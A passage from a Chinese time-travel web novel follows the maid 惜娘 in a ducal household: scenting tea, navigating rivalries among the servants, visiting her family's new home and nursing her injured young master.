璎珞却是有些不满:“现下开了院子,也不安排咱们吃了再过去,我吃的肚子都疼起来了。” “哎,这有什么法子呢,随便吃些,早上再吃吧。”惜娘发觉璎珞是对琳琅不满,并不搭腔,在她看来,主动上晚班的人,都已经很好了。 还有就是,她现在根基不深厚,不如琇云取得大太太信任,亲娘又是大太太陪房,琳琅是老太太的人,伺候六少爷几年了,便是这个璎珞都有公主府撑腰,她却什么都没有,还是先苟着才好。 再说那钟闰之,提起惜娘来,旁边的丫头道:“姑娘何不问瑶琴,珊瑚是她堂妹啊。” 钟闰之果然找何俏来问,这才知道原来惜娘还读过书,父亲更是门房上的副总管,可她一点儿都没看出来有后台的样子,还真是深藏不露。这书里说,钟闰之的丫头瑶琴是个忠仆,后来跟她一起陪嫁过去了。 是以,钟闰之对她很好,这姊妹俩,一个毫不犹豫踹翻别人上位,一个却是忠仆,区别倒是真大。 转眼到了清明,天气时不时下一二场小雨,又出太阳,一早上送完六少爷上学,她横竖无事,便去了花园里摘花打算窨茶。 她的茶房很小,没有大太太那里大,索性只采了些梨花,蔷薇,其实窨茶的步骤都是有一定程式化作业,先晾干,等露水自然干,和干茶搅拌放到锡罐,密封几个时辰,筛去花的杂质,再用不烫手的火烘干,最后放入茶罐子里。 小丫头柳儿帮着她一起忙活,惜娘笑道:“我这里倒是不用这么些人,你去前面听差,看琳琅姐姐有什么吩咐的。” “琳琅姐姐在做针线呢,少爷身上的荷包、扇套、鞋子都是她做,活计可不少呢。琇云姐姐出去了,璎珞姐姐那里,我有些怕。”柳儿说到最后有些迟疑,但想着惜娘虽然是二等丫头,但从不打骂小丫头,对她们都很大方,还帮她们说话,柳儿才说出来。 惜娘就道:“你愿意在这里,就待在这里吧。” 她得把茶房都打理的妥当,日后要吃什么茶,就快一些。 这一日柳儿帮忙也累了,次日惜娘自己单独去园子里摘花,不曾想见到一个魁梧的男子和一个年轻仆妇从山洞里出来,两人一前一后。 那个男子嘛,她陪着六少爷去老太太那里请安见过的,是二老爷徐恒,至于那年轻的仆妇,她倒是不认识。 如此一来,她也不敢在这里久待,快步回去了,回到屋子里,才想着难怪爹再穷都不让娘进府里做事,估计是想到了这些情景。 主子看中了谁,那识趣的装乌龟王八,缩起脖子装聋作哑,还能得好处,那有些血气的,不服从的,有些主子怕牵藤摸瓜,也就作罢,有那等强硬的主子,就先打发那下人,要不就伙同人家害了她,或者棒打鸳鸯,无所不用其极的。 也因为碰到此事,惜娘也不敢随便去园子里,到了端午时,她这里又有两套纱裙,六少爷得了人家一匣子洒金川扇,琳琅给几个大丫头一人分了一把。 惜娘正拿着扇子扇风,却见大中午的,六少爷跑了回来,脸红通通的,看起来口干舌燥,怎么都不解渴。 “我去调一碗黄梅汤来。”惜娘忙去茶房,又在冰鉴里锤碎了些冰,放在里面。 六少爷喝完,欢喜的直呼痛快:“痛快痛快,本来我沤在心里的热气,一下就散了。” 惜娘笑道:“上个月我见有人在打梅子,就想着将那肥大的黄梅蒸熟,到时候用紫苏、甘草、檀香把它调制一番,酸酸甜甜的,暑热时,调一碗来解渴,不曾想这个月就派上用场了。” “明日你再跟我调一盏来,明日我还要去校场骑马呢。”六少爷吩咐。 惜娘应是。 她们几个丫头又伺候六少爷用了中饭,只见大太太身边的锦绣过来道:“公主府那边来了客,是驸马妹子的女儿,嫁到许昌去了,丈夫早死了,好容易儿子去年中了举,就想来京游学,准备三年之后的科考,那位孙姑太太除了带这位有出息的表少爷,还有一位小姐,真是跟画上的人似的,公主喜欢的不行。又要为她们接风,也请咱们这边的大太太、二太太、三太太过去,太太说让六郎君也过去玩。” 六少爷是只要不上学,做什么都成,遂笑道:“有新朋友来,我肯定是要去的,就是不知道是何时?” “就在今天晚上呢,六郎君下学了,回来换身衣裳就过去。”锦绣道。 六少爷点头:“替我告诉太太,我知道了。” 六少爷要去赴宴,最忙的不是他,还是她们这群丫鬟,琳琅等他出门了,就开始找衣裳熨衣裳,还要有一套备用的锦袍,便是内衬、中衣也要备,虽然如今天有些热,但怕晚上有夜风,还要备下一件披风。 荷包里装打赏的银钱,汗巾子、帕子、香囊也要配套。 琳琅逐渐就很倚重惜娘,因为她办事认真仔细,却又不是那种张扬的人,自己想不到的地方,她都私下提起。 惜娘倒是不在意这些,她和琇云不同,琇云以前在大太太那里就爱打听,然而趋于奉承,提前站队,她则是觉得丫鬟的本质终归还是要把本职工作做好,所以,她现在还在发育期,就得慢慢发育。 就像现在,她提醒琳琅:“就怕去了之后,咱们少爷也要吃酒的,不如带些解酒丸。” “对,那个用个八角小盒子装着。”琳琅道。 几人把东 西收拾妥当,早早吃了饭,只等六少爷下了学回来,他单独坐一辆马车,惜娘几个丫头挤在一辆马车上。 她们捧着东西,跟着大太太、小程氏还有六少爷、二小姐一处进来,虽然是夜晚,公主府却如白昼一般,都是那样的玻璃风灯,树上系着各色彩纸,五光十色。 惜娘想有钱人无论在古代还是现代都过的很好。 席上很热闹,孙小姐双字德芳,是个非常持重的姑娘,大太太平日对谁都淡淡的,对这位孙姑娘倒是有几分热心,其实这也正常。 孙小姐父亲虽然过世,却同在福建任布政使,哥哥又是个举人,六少爷虽然是皇子妃亲弟弟,却又不是国公府继承人,若是走科举这条路最稳妥,和孙家结亲,也不是不成。 这些是惜娘自己揣度,在这个宅子里,不必太早出头,但一定要知道形势。 就比方大太太其实不是很受宠,但是地位不可撼动,二太太反而不如妾侍受宠,也不如妾侍有话语权,但是她牢牢把控二房银钱,三太太御下不成。 惜娘又看六少爷平日在家跟孩子似的,出来倒是很会交际,和孙举人说话都是一套一套的。 从公主府回来之后,六少爷也往隔壁公主府去了几遭,琇云倒是在跟前道:“昨儿老太太那边还问起了,听说您去公主府那边,就没说话了,还有钟小姐,最近在画一副什么画的……” 惜娘想六少爷对画画最感兴趣了,他听了琇云的话,哪里还坐得住,饭没吃几口,就去老太太那里。 琇云当然也在选边站,她虽然是大太太陪房的女儿,但是知道老太太肯定是想让钟姑娘做未来主母的,她若是提前交好,日后总有自己好的。 隔了几日,外面下了大雨,惜娘正和琳琅一起做针线,六少爷爱出汗,故而寝衣换的勤,抬头看雨跟帘子似的,她道:“要不要安排个人去送伞?” “那就让琇云去,她昨儿家去探亲,正好今日没什么差事,你也去烧些姜茶备着。”琳琅吩咐。 琇云倒也拿伞出去了,只是中途见到方姨娘主仆,她们俩淋的跟落汤鸡似的,忙跟琇云借伞,绣云的娘是大太太的陪房,当然知晓方姨娘虽然只是个姨娘,可是比大太太受宠,恰好她也要的急,琇云便给了她。 准备折返回来,再拿一把过去,只是没想到她回来后,六少爷后脚就回来了,淋的跟落汤鸡似的。 琳琅忙念叨道:“我不是让琇云去送伞了么?怎么好端端的让少爷淋雨到了。” 琇云在门口辩解道:“我遇到了方姨娘她们,把我的伞要了我,我就回来想再拿一把,不曾想这样了。” 六少爷虽然在老太太那里长大,但是也不喜欢方姨娘,常常挑唆二哥世子和他不和,故而他便骂了几句:“她淋雨你便把我的伞给他了?倒叫我淋了雨回来,难道我还不如她?” 正好惜娘捧了茶来,便道:“少爷,喝点姜汤,可不能着了风寒。” 六少爷本来小孩子脾气,一会儿也便过去了,惜娘本以为没什么大事,不曾想琇云隔日就被撵了出去。 惜娘想平日琇云也并非事事做的完美,但上头没人说什么,如今怕是她因为违逆大太太的意思,公然引六少爷亲近钟姑娘,所以被撵了出去。 她们是家生子,被撵了出去,又不能脱籍往外聘,同样有家底的家生子也有顾忌不敢娶她,上不上下不下的,日子肯定很难过。 琳琅却表现得淡淡的,只笑着对惜娘道:“明日你好不容易有一日假家去,怎地还坐在这里发呆?” 惜娘不知怎么,打了个冷颤。 14.狐假虎威 惜娘包了两样点心,一包茶叶,带了一套衣裳和钱匣子,跟着教引嬷嬷到了二门处,她爹何大魁早就在这里等着了,见女儿梳着三丫髻,人也长高了一些,连说了三个“好”字。 父女俩久别重逢,都有些激动。 但惜娘要说什么的时候,何大魁制止了:“咱们回去再说。” 何家离镇国公府很近,不到一盏茶的功夫,父女二人就到家了,还未进门,家里一大早就炊烟袅袅,何大魁敲了半天门,万氏才出来开门。 惜娘正要上前抱万氏,何大魁却拉住女儿:“你娘有了身子,可要慢些才好。” “啊?”惜娘还有些发懵。 万氏则上下打量女儿,见女儿人齐整不少,身上穿着鹅黄色素罗纱裙,头上簪着新巧的花儿,面色红润,不由道:“自从你走后,你爹给我请大夫调理身子,如今娘有了身子了。” 惜娘搂着万氏的胳膊道:“那您可要保重好身子。”她不能以现在的方式揣度古人,知道万氏常常为自己只生了一儿一女难过,如今有了身子,她高兴,那自己也高兴。 三人一并进来房里,惜娘打开包袱,先把大太太赏了一套白绫袄青缎子比甲给万氏:“这是大太太赏赐的,我早就想给娘了,但是府中不许下人传递物事,女儿就没让人带出来。” 说完又拿了点心出来,左顾右盼:“哥哥呢?我还特地找人家拿了细点出来。” 何大魁在一旁道:“你哥哥在账房做工,他晚上回来。” 惜娘笑道:“哥哥去账房也好,三太太那里并不是什么好去处,其实府里老夫人都颇为照顾她,她人也不坏,就是总有些御下不严,底下人出事,她都不帮忙出头的。” 说完,她倒是记得大伯母家的事情:“爹,娘,大伯母可骗的咱们好苦。不知道的,还以为她给我寻来的机会,其实……”她把自己打听到的事情说了一遍。 这事儿惜娘不说,万氏和何大魁哪里知道这么些,何大魁还好,万氏有些受伤,她本来是高度警惕别人的,可自从何大魁那么喜欢她,她又有了两个孩子,她的心就柔软了许多,开始慢慢尝试,没想到竟然被张银娥骗了。 还好女儿告诉了她,一家人说了许多不是。惜娘又劝慰万氏,说起她在大太太和六少爷之间的事情,万氏才转移注意力。 在家就是很好,惜娘换了身布衣,觉得更舒服些了,说到最后,不免道:“琇云就这么出去了,我从排行第四的丫头,到了第三,虽然在六少爷面前排不上号,但总归我学到了茶的手艺,也跟着嬷嬷们学裁剪女红,算是受大丫头器重了。” 说罢,又拿了茶饼出来,泡了一杯给爹娘,但给万氏只有一点:“有了身子的人听说不能多喝茶。” 何大魁倒是觉得很好喝,一杯接着一杯的喝,把万氏和惜娘笑的不行。 万氏还要去厨房烧菜,何大魁则和惜娘道:“你娘这么一有身子,咱们这个小破屋怕是住不了了,我打算把那边的宅子买下来。” “爹爹,这是我这大半年攒下来的体己赏钱,一共八吊钱,虽说也不是很多,但你们不必把手头的银钱总花光啊,还是得留下些,等娘生了小弟弟或者小妹妹,再买了小丫头伺候,平日也能陪着娘。”惜娘打算道。 何大魁看女儿攒下这么些钱,略思忖片刻就收下了,“好了,等你下次回来,咱们得新宅子都成了。” “爹,我过年就不回来了,六少爷身边就那么几个人,又是头一年单独出来住,总不好出来。”惜娘道。 何大魁了解:“你们头一年办差,总不好回来,我们懂的。” 中午万氏烧了十大碗的菜,一大半都是惜娘爱吃的,在家里惜娘是畅所欲言,随心所欲,她还把一条腿放凳子上,舒服的紧。 吃完饭,何大魁去洗锅洗碗,留惜娘和万氏说话,万氏当然有体己话对惜娘说:“国公府上规矩严,但未必不是好事,你也不算小了,娘跟你说,头一个你要洁身自好才行,否则,万一被大太太,老太太知道了,她们只会怪你勾引少爷。” “娘,女儿才多大呀……”惜娘都不想听了。 万氏却道:“你还是好好听着,若不然这样的贵族人家,怎么能让一个丫头怀了孩子,将来不过是灌些红花,受罪的还是女子。即便是要做小,那也是明公正道的。” 惜娘知道她娘是好意,就点头同意了。 再有万氏在家倒是帮女儿做了几件小衣:“你要长大了,小衣是必须要的,我多做几件,你也有个换洗的。” 只有亲娘才会想的这般仔细,惜娘想道。 万氏也何她说起家常:“你三叔三婶可是从天上掉到地下来了,二老爷那个宠妾姚氏把管家权给了别人,他们俩没了油水,偏你三叔在厨房干的又不好,两边不靠。” “那她们做什么去了?”惜娘道。 万氏则道:“他们在附近街口卖馍馍去了,要不然两个人都没了差事,还能做什么?” “俏姐不是在钟姑娘那里做丫头吗?钟姑娘可是很有钱的。”惜娘不解。 万氏摇头:“他们家都是各自防备着。咱们家就不同了,你爹这两年攒下些体己,加上你和你哥哥的钱,到时候咱们一处住大些的宅子,置办几亩地,也是一份产业。” 惜娘点头:“我也这样想的,国公府伺候的人,也着实多,指不定咱们这些家生子儿,到时候也未必都能在府里当差,若不当差就没个银钱过活,不如买几亩田地,大家吃穿嚼用也好些。” “我也这样想呢。”万氏道。 惜娘则想不能只有自己到时候脱籍,全家一起脱籍才好,等自己当家作主惯了,哪个还愿意做奴才呢? 母女二人说了会话,万氏去做晚饭,晚上何松回来了,他看起来比以前斯文多了,倒是抱怨连连。 “你就别抱怨了,让人家对你刮目相看,就得做出一番成 绩来,我一开始在大太太那里,还要成日帮着她们做针线,呼来唤去的。对了,算盘要不要我教你打啊?”惜娘问起。 她这个哥哥虽然说是她哥哥,但是惜娘是穿越的,还是当弟弟看待。 何松爱面子连忙摇头说不用。 惜娘就拿出算盘让他算,“那你把一千九百九十九加上五百四十,算给我看看?” 这明显难住何松了,何松期期艾艾的打错了,惜娘则教他打了一遍,又在纸上写了几样算式,让他继续算。 何松学了些,又重新记账,才道:“妹妹讲的比先生还容易,那些账房师傅不肯轻易教我,我正苦恼。” 惜娘笑着摇头。 晚上她睡在床上,万籁寂静,她睡的很舒服,到了次日一早,何大魁送惜娘进了府去。他自己也在门房当差,正把门簿整理好了,他已经问了京郊的田亩,宛平府中等旱田也最少要八两银子一亩,那昌平、顺义这些地方的三到八两一亩。 自己这几年得多攒些银钱才是,否则将来等世子当家,他未必有这番好去处。 至于万氏那里,见大嫂过来,冷淡了许多,不再和以前那般热情,张银娥暗自在心中嘀咕,难不成是二房现下女儿做了六少爷的丫头,自以为身份不同,瞧不起我了?但我儿子也在六少爷跟前做小厮啊。 要说惜娘回来了两日,天气越发热了,她冲了不少青脆梅汤给琳琅、璎珞几个喝,琇云出去之后,银翠提了二等。 难得今日休沐,璎珞陪着六少爷打双陆、下棋,她对这些很擅长,惜娘倒是没学过,就不大往前头凑,只和琳琅一起做针线。 那璎珞生的漂亮,赢了六少爷,六少爷也不计较什么,倒也因为如此,让那璎珞愈发弄出个小姐样儿,连惜娘也指使起来。 “我想吃一杯橘汤,你帮我点一杯来吧。” 若真的被她使唤习惯了,日后必定时常这样,惜娘当然不肯:“茶房就在隔壁,那做好的橘酱就在黑色瓷罐子上,你自去就是了。我虽说擅长些点茶,也揽了这事儿,平日已然减轻你们的负担了,如今还差遣上我了?” 璎珞也是颇会看人下菜,你若是个软骨头又怕事的,她必定欺你,但你若是个性情强的,她未必敢。 她一时出去了,等会进来又喊道:“六少爷让你点个橘汤来,这可不是我差遣你。” 惜娘知道她是撺掇六少爷要茶汤,这样就能光明正大的使唤自己了,这是在狐假虎威呢?但是现下不是争辩的时候,只要她争辩,却不做事,到时候六少爷反倒怪她。 所以,惜娘忍住了:“成啊,那我点一盏过去。” 璎珞见自己智计得售,得意洋洋的就走了。 惜娘则在茶房忙活了一会儿,端过去的时候,看到六少爷对璎珞挤眉弄眼的,也装看不见,放下茶盏就离开了。 六少爷就把茶盏推到璎珞前面:“看吧,给你要来了,只管喝吧。” 15.讨巧(二更) 惜娘想除非你天天搬出六少爷来,否则,她该不做那还是不做的,现下姑且大家忍耐着罢了,她连自己都得罪,将来不知道得罪多少人?自己又何必提醒呢。 “珊瑚姐姐,这是我的月钱,你帮我存着吧。”柳儿拿了银钱来。 小丫头都睡大通铺,是没有地方放钱的,也怕被人摸了去,都托大丫头保管,柳儿和惜娘要好,就托她放着。 银翠补上了琇云的缺后,太太那里又补了个三等丫头庆儿过来,如此这里人员也就都满了,一个萝卜一个坑。 刚帮柳儿把钱收好,外面说孙小姐和二小姐过来了,惜娘则吩咐柳儿、桃儿备茶来,她则去上房听差。 孙小姐一来就打趣起六少爷来,孙小姐活泼可爱,又年轻心热,生的还标致,六少爷对她颇有好感,二小姐则在从中穿针引线。 惜娘对她们的谈话内容不是很感兴趣,只一心当差,听那孙小姐道:“你这么一说啊,可能是津液不足,没什么要紧的,吃些燕窝倒是很好,也不多吃,连着吃三日就好。正好我家里有那上等血燕,等会子送来就是。” 接着,他们说了些什么,惜娘是听不到了,但是燕窝就意味着挑燕窝的事情得做。 果然,次日那燕窝送来,琳琅安排大家挑燕窝毛,璎珞转手就让两个三等丫头做,惜娘则想着自己的事情自己做,她做小丫头的时候,不爱那些大丫头把事情推给她,如今她肯定也不会推给别人。 所以分到她的,她就先自己挑出来了,挑好了,再送到厨房上去。 不曾想到厨房的时候,却听说一件事情,小程氏小产了,大太太那边正一日三趟派人去看。惜娘她们这个年纪的姑娘当然不该谈论此事,但底下的人对小程氏也没几个同情的,都说她醋意太大,不给世子置办妾侍,导致世子无后云云。 大太太对这些事情懒得管,一来,小程氏若是无子,这家就是她儿子当,对她而言没什么坏处,二来,小程氏是徐太夫人的侄孙女,她总不能上得罪婆婆,下得罪儿媳妇吧? 海棠作为正经通房,愈发是这个时候,就愈发不能够在世子前面献媚,只能躲出来了,碰到惜娘在附近采桂花,倒也搭起话来。 “你是六少爷那里伺候的啊?采桂花做什么?” 惜娘笑道:“用来做木樨茶的。” 桂花古称木樨,此时正是秋日,金桂盛开,摘取后窨茶,再用瓷瓶分装,如此便是极好。 海棠听完,不由笑道:“你若有多的,到时候往我那里送一瓶,给我尝尝。” “若说是送给姐姐的,我们六少爷保管同意的。”惜娘道。 海棠见她在忙,也不打搅她,惜娘摘采回去之后,先把那杂质去处,晾了一会儿,把雨前龙井拿来,一层干茶一层花交替铺陈,最顶层以一层茶叶封口,罐口则用箬叶、棉纸绑的紧紧的,再隔水放铜锅上煮,出鱼眼泡的水时就熄灭,取出罐子放阴凉处,放一晚上,这是头窨。 此次,再拆开那棉纸,倒出茶和桂花,待它们温凉后,筛去旧的花渣,继续用新鲜桂花重复头窨的办法。 两次窨制完毕,再慢慢焙干,等茶叶用手能捻成碎了,便成了。 惜娘做好之后,先端去给六少爷尝了,六少爷吃了说好,又用那穿心盒装了。见六少爷喜欢,惜娘便把那日她清早采摘桂花,碰到海棠的事情说了。 六少爷道:“她既然跟你要,你便送一包去就是。” “好,等会子我便亲自送过去。”惜娘道。 六少爷又道:“不妨你也送些过去老太太、太太那里,让她们也尝尝。” “是,那奴婢这就先下去了。”惜娘想着,倒也没告诉别人,先去茶房分别装好,头一程去了徐老夫人那里,徐老夫人赏了六百个大钱给她,再有大太太那里,她就更郑重了。 “是奴婢把那窨好的茶泡了给六少爷尝,六少爷一尝便说这样的好茶,也让老太太和太太们都尝尝,虽然寻常也是他的一番心意,他自个儿茶还未喝完,就打发奴婢来了,真真是孝心一片。”惜娘笑道。 大太太听了也高兴,吩咐她们好好做事,赏了她一对鎏金云雀纹簪子,惜娘在这两处送了,方才去海棠那里。 海棠却不在,惜娘就先回来了,等傍晚,才让柳儿替自己送一趟,那柳儿回来的时候,拿了些彩线给惜娘,又道:“珊瑚姐姐,世子那边闹起来了。” “胡说,世子夫人在养病,怎么闹起来的?”惜娘摇头。 柳儿却认真道:“是真的,有个叫胭脂的丫头有了身子呢,肚子都那么大了,平日用布条缠着,如今实在是瞒不下去了,就告诉了世子。” 那小程氏失了孩子,正好有人却怀上了,小程氏若是折腾狠了,怕是要和世子离心,但若不折腾,正所谓卧榻之侧岂容他人酣睡? “好了,这事儿和咱们无关,就毋须再提,方才六少爷赏给了我一碟荷花饼,我晚上已经吃饱了,就给你了。”惜娘笑道。 柳儿笑嘻嘻的下去了。 等回了房,惜娘想了想进了帐子里,开了小匣子,把今日的首饰赏钱都放了进去,她给了家里八吊钱,日后的月钱自己攒着做私房,几年下来也能攒不少,将来出去了,也能够嚼用十年都够了。 即便今日露脸,惜娘也不会在众人面前提起,那璎珞并不知道这些,也就无从忌惮,在她看来,惜娘容貌比她差多了,性子无趣,在主子面前一板一眼的,没什么过人之处。 秋高气爽之时,六少爷出去跟人家骑马打马球,出去的时候还高高兴兴的,回来却是被抬着回来的,琳琅当场就哭了出来了。 大太太就这么一个儿子,忙请了御医过来,说是摔了马,骨折了,要日夜照料着,所幸六少爷并非粉碎骨折,日后养好了伤就无事了。 但伤筋动骨一百日,六少爷就不是那么容易下床了,惜娘对琳琅道:“ 姐姐,咱们六爷的药要每隔六个时辰,还要人喂饭,若是不大舒服了,还要请大夫来,这里的人就要分几班来。如此一来,做事的人安心做事,换班的人也能够休息,不至于让所有人没日没夜的守着,到底好几个月呢。” “那就请你拟了出来,我先看看。”琳琅道。 惜娘这个时候就不推迟了,大丫头们两个人一般,日夜轮替来,其余的人也要提饭也要烧水也要跑腿的,她拿了六少爷的纸笔写了起来,很快就安排妥当。 琳琅虽然不大会写字也不怎么识字,但自己的名字还是认得的,看惜娘排好了,调换了一下顺序:“你是个不惯熬夜的,就和我一起,白日时,你多做些,晚上时我多做些。” “好。”惜娘原本在琳琅和璎珞两个人中还想选谁,如今看来至少现在跟着琳琅是对的,琳琅更负责任,知道分润给人,璎珞只把自己当和六少爷一般的主子。 比起她们做丫头的,外面几个跟着的小厮,因为照看不妥当,有两个挨了板子。 惜娘则和六少爷道:“他们也算是受了教训,如今咱们送些棒疮药出去,到时候他们肯定感念您的恩德,日后必定对您愈发敬服。” “你说的是。”六少爷想这个珊瑚倒是和琳琅一样,都周全负责。 惜娘便亲自出去二门,正好看到堂兄何柏,他运气好,那日不在周边服侍,见惜娘这般说了,忙拿下去给两个被打的小厮,那两个本来也是无妄之灾,现下得了药感念的很。 头一日就是惜娘和琳琅晚上值夜,惜娘睡在外头,里面几乎都是琳琅伺候,端屎端尿不在话下,惜娘只是在早上帮忙换药、喂了饭,她想琳琅这样的做大丫头她真服气。 晚上伺候了,白天嬷嬷们提了饭来,惜娘吃了早饭倒头就睡,白日则是璎珞和银翠两个,璎珞陪着六少爷说话,多半的事情还是银翠做的,但银翠倒是不敢说什么,因为六少爷和璎珞说话,两个人叽叽咕咕的,只亏了银翠。 再有一日,惜娘和琳琅白日值守,钟姑娘、孙姑娘等人一起过来探望,琳琅就有些不大待见孙姑娘了,上回六少爷摔腿,就是因为孙家少爷要搞什么马球会,结果他请的都是一些十七八岁的男子。 惜娘又让丫头们奉茶过来,这两位姑娘坐下来说了一番话才走,小丫头们成日跑来跑去也累,惜娘和琳琅都拿了果子点心给她们甜嘴。 照顾病人一两天还好,到第十天大家就很累了,到半个月惜娘都有些不耐烦了,做丫头的没有什么双休日,每天都要循环往复,只能相互勉励一番,那璎珞反倒推说自己身子不大爽利,歇息了几日。 待一个月后,六少爷慢慢走路无虞,老太太和大太太一同过来,恰是璎珞那日和银翠在值守,惜娘和琳琅熬了一晚上在歇息,虽说老太太和大太太都赏赐了一番,倒让璎珞讨了巧。 惜娘得知此事后,看了琳琅一眼,恐怕都不必自己挑拨,她们就对上了。 16.好心也许办坏事 就在惜娘她们这群丫头累的不行,钟闰之则在想办法,她知晓国公府坍塌和高柳娘的关系很大,高柳娘正是因为做了三皇子的妾,后来她弟弟过世,她怀疑是国公府动手,所以对国公府不近人情。 而国公府最后要娶她,也是因为三皇子妃靠不住了,公府出现颓势,二老爷还把女儿嫁给了六皇子,反而让三皇子以为镇国公府要叛变,几番敲打。 可如今高柳娘没有分宠呢?她如果没分宠,三皇子妃的地位反倒是更稳固,镇国公府没事,肯定还是会给徐士载继续联姻高门的,那她就真的自由了。 所以,当务之急,要先把高柳娘许个亲事再说。 可她即便再受宠,镇国公府的规矩也是很大的,未出阁的女儿,怎么好谈论别人的亲事呢?她是得想个法子了。 钟闰之索性和高柳娘往来多了一些,但是交往越频繁,越发现高柳娘压根不是什么心机深沉之人,相反,她完全是个过了今日没有明日的人,该吃吃该睡睡,人家寄人篱下看眼色,她是今朝有酒今朝醉。 连徐二小姐都道:“这高家妹妹,真是个人才,我让她多去大太太那里请安,她也不过点个卯,老太太那里也不奉承着,成日乐呵呵的。” 钟闰之心道,难怪叫福妾的,真是夫唯不争,故天下莫能与之争! 从徐二小姐这里走出来,天色乌云密布,如今已经入冬了,钟闰之拢了拢身上的大衣裳,先回了徐老夫人那里。 而惜娘则烧了一大壶茶,提到了上房,给大家喝。 琳琅的确很沉得住气,上次好端端为她人做嫁衣裳,还能绷得住,待璎珞一如从前,惜娘和璎珞同一间房,如今璎珞对她收敛了一下,二人面上看起来也不错。 “这茶我虽然品不出来,但就是很好喝,很解渴,不刮喇喉咙。”银钏笑道。 惜娘笑道:“我让柳儿在那里看着炉子,就烧了一壶来,用的也不是什么名贵的茶叶,就是海棠叶子,你们若是觉得好,等会儿我再让人烧一壶来就是了。” 大家吃完茶,惜娘和庆儿一起玩翻花绳,璎珞几个在一旁打叶子牌,大家互不打搅。惜娘想如果六少爷不回来,其实大家都相处的挺好的,甚至璎珞都没有那么矫情了。 入了冬,大家都有了新袄儿穿,琳琅让惜娘回了一次话,大太太又赏了她一身衣裳,她开春马上就要十一岁了,身量也高了些。 年底正是忙的时候,世子房里的丫头生了个儿子,只可惜那个儿子生下来木木的,不会哭也不会笑,说是生产的时候憋的狠了,没几日孩子夭折了,胭脂听说孩子没了,本来在坐月子,一下情绪激动大出血,人也没了。 国公府没人为她们母子难过,都掩鼻说人家晦气,耽误了府中过年。 小程氏仍旧还是那个风光无限的小程氏,把持着家中权柄,人人都不敢得罪。 比起大奶奶小程氏这般,二奶奶庄氏名声就好多了,也十分低调,有了身孕后,就把身边的陪嫁丫头开了脸。 惜娘虽然恨小程氏当年折辱她娘,但是站在同为女子的角度,何尝不是男子不忠造成的? 如今徐老夫人还在,大太太有嫡亲的儿子,自然不在意,可是世子未必不在意? 要知道世子的母家高家已经落败了,他要在府里找能够说得上话的人都不多,倒是钟闰之,知晓书里有个姓欧阳的大夫,是个妙手回春之人,尤其擅长女科,所以在小程氏面前提了提。 她也不愿意看到小程氏还是如前世一般无子啊…… 小程氏知道钟闰之年纪虽然不大,却是个有见识的姑娘,并没有把她的话置之不理,反而让娘家人帮忙请了来调理。 等来年开春小程氏怀上孩子的时候,惜娘家的宅子也买好修好了,她哥哥专门过来接了她过去,新宅子离镇国公府也不远,差不多二里地,她哥哥还赶了骡车过来接她。 惜娘笑道:“哥哥,你看起来高了好些?” “我现下虽然在账房上,可我还是喜欢骑射,每日闲暇就找人去学,还拜了一位校尉做老师,你不知道爹爹也跟我一道学,爹爹年轻虽然大了些,但是天生神力,只是平日不与别人说罢了。”何松说起习武,很是开怀。 惜娘想证实术业有专攻,哥哥是爱习武的,这也很好,国公府到底是勋贵,指不定哪一日就有用处。 兄妹二人说笑一番,就到了新宅子处,头一层是外院,何松住在这里,二进是爹娘住处,最里面的一层则是爹娘给自己准备的小院子。 万氏已经又诞下一个小儿子了,又找了个小丫头服侍,万氏看起来比之前气色好多了,还招呼惜娘道:“快来看看你这个弟弟,这小厮恁地淘气的很。” 惜娘抱了过来,喊了两声乖乖,又贴着他的肉脸蛋,心里软乎乎的:“弟弟怎么生的这样可爱?” 如今何家的情况,也仅仅是稍微好一些而已,爹娘为了买这个宅子,置办家具,恐怕把手里的银钱都花光了。 所以她也还得上工,还得好好上工。 万氏把菜烧的差不多了,又要去厨房忙活,惜娘也跟着过去,万氏则道:“你看你穿的这鹅黄衫子,颜色多淡,还是别进来了,先去你自己房里看看。” 惜娘也好奇自己的院子,就往后面去了,正房一共三间,西边有三间厢房,东边则是一条走廊,院子西边角落放着几盆花,前面还有一架蔷薇。 正房三间,西边放着炕,炕上有炕柜,炕桌,炕前有一张小小的方桌,中间是明间,靠正上房的墙放一张条案,放一个土陶的花瓶,一个瓷香炉,前面放着绣架,八仙桌儿和条凳,东边则放着一张床,衣柜、梳妆台,衣架脸盆。 娘已经帮她把床收拾好了,床架子四面垂着素色纱帐,用铁钩子勾住,床上铺着浆洗柔软的棉床单,一床薄薄的被子。 她把 自己带回来的东西开始收拾起来,她有一个螺钿的盒子,一对银鎏金的簪子,细银绞丝手镯一对,旧鎏金的小耳坠,一朵小小的珠花。 这都是她在六少爷身边,得到的赏赐,还有银钱,去年给了家里八吊,今年又攒下八吊钱,还有节气赏赐,过年得了一对金锞子,元宵时,六少爷那里新裁制衣裳,多的那些绫罗绸缎她们几个丫头也分了些,惜娘就分了半匹。 等万氏过来,惜娘便道:“这些我就放在家里,娘平日可要帮我看顾些。” “就放在我的房里吧,你不在家中,我一向少来,若是有人偷摸进来偷了,我都不知道。”万氏道。 惜娘点头。 她们把这些东西收拾了一番,惜娘拿了自己回来的槐花蜜给家里,才到前厅吃饭,现下厅堂极大,何大魁正举着石块玩儿,惜娘上前准备拎起来,差点往后倒地。 “爹爹,这有多少斤啊,您这样轻松就举起来了?”惜娘咋舌。 何大魁笑道:“也不重,就八十斤左右吧。” 惜娘竖起大拇指:“您真是厉害的很。” 何大魁道:“咱们这些人从小粗茶淡饭长大的,偏偏各人也都有些天赋异禀,你大伯记路很厉害,无论是多偏僻的路,他走一趟就能记住,你三叔则是脑袋灵活的很。” “快别说话了,惜娘,过来吃饭。”万氏喊道。 桌上依旧是她爱吃的菜,惜娘举杯对他们道:“咱家搬了新家,娘又生了小弟弟,这是我们头一年的好日子,咱们家日后越来越好才对。” 何大魁和何松都一饮而尽,万氏则看着女儿道:“你看你这次回来,眉头常常皱着,心里不是很快活吧?” 何松连忙问妹妹:“是六少爷那里不好吗?” “不是,六少爷人很好,从来不作践咱们下人,好吃好玩儿的也分给我们。可是为奴为婢,都得看人家的脸色,而且还要倍加谨慎,哪里会舒服,且咱们那里丫头们也多,各人想法也不同。”惜娘她们有气不能随便出,都不过十一二岁的孩子,就得要细心妥帖,一旦做错一件事情,可能就要被撵出去。 被撵出来,那就是社死。 万氏听了心头一震,何大魁更是觉得女儿说的直击心里。 惜娘见众人都在沉思,又岔开话题:“我出来的时候,世子夫人有了身子了,伺候她们的人都得了双倍赏钱呢。” 万氏听了这话,却皱眉:“这可不好。” “娘,什么不好?”惜娘问起。 